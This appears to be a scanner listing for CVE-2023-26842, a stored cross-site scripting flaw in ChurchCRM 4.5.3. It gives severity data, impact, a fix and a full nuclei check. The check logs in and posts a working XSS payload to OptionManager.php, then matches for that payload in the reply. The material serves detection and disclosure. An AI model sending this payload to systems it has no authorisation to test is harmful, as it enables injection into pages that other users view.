ChurchCRM 4.5.3 - Cross-Site Scripting

mediumseverity

5.4CVSS score

1.4%likelihood of exploitation, next 30 days

73%of all CVEs are less likely

Readycheck to confirm it

A stored Cross-site scripting (XSS) vulnerability in ChurchCRM 4.5.3 allows remote attackers to inject arbitrary web script or HTML via the OptionManager.php.

Impact

Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.

Fix

Upgrade to a patched version of ChurchCRM or apply the necessary security patches to mitigate the XSS vulnerability.

How to confirm it

Send: POST /session/begin ; POST /OptionManager.php?mode=classes&ListID=1
Positive when: status_code_2 == 200 and contains(content_type_2, "text/html") and contains(body_2, "onfocus=alert(document.domain) autofocus=") and contains(body_2, "ChurchCRM")

Run it with nuclei: nuclei -id CVE-2023-26842 -u <target>

The full check

id: CVE-2023-26842

info:
  name: ChurchCRM 4.5.3 - Cross-Site Scripting
  author: Harsh
  severity: medium
  description: |
    A stored Cross-site scripting (XSS) vulnerability in ChurchCRM 4.5.3 allows remote attackers to inject arbitrary web script or HTML via the OptionManager.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
  remediation: |
    Upgrade to a patched version of ChurchCRM or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - https://github.com/10splayaSec/CVE-Disclosures/tree/main/ChurchCRM/CVE-2023-26842
    - https://nvd.nist.gov/vuln/detail/CVE-2023-26842
    - https://github.com/10splayaSec/CVE-Disclosures
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2023-26842
    cwe-id: CWE-79
    epss-score: 0.01397
    epss-percentile: 0.72655
    cpe: cpe:2.3:a:churchcrm:churchcrm:4.5.3:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: churchcrm
    product: churchcrm
  tags: cve2023,cve,churchcrm,stored-xss,xss,authenticated,vuln

http:
  - raw:
      - |
        POST /session/begin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        User={{username}}&Password={{password}}
      - |
        POST /OptionManager.php?mode=classes&ListID=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        1name=Member&2name=Regular+Attender&3name=Guest&4name=Non-Attender&5name=Non-Attender+%28staff%29&newFieldName=" onfocus=alert(document.domain) autofocus="&AddField=Add+New+Person+Classification

    redirects: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "text/html")'
          - 'contains(body_2, "onfocus=alert(document.domain) autofocus=")'
          - 'contains(body_2, "ChurchCRM")'
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'id="form_session_token" value="(.*)" type="hidden"'
        internal: true

References

Use this check only on systems you are authorised to test. Where the data comes from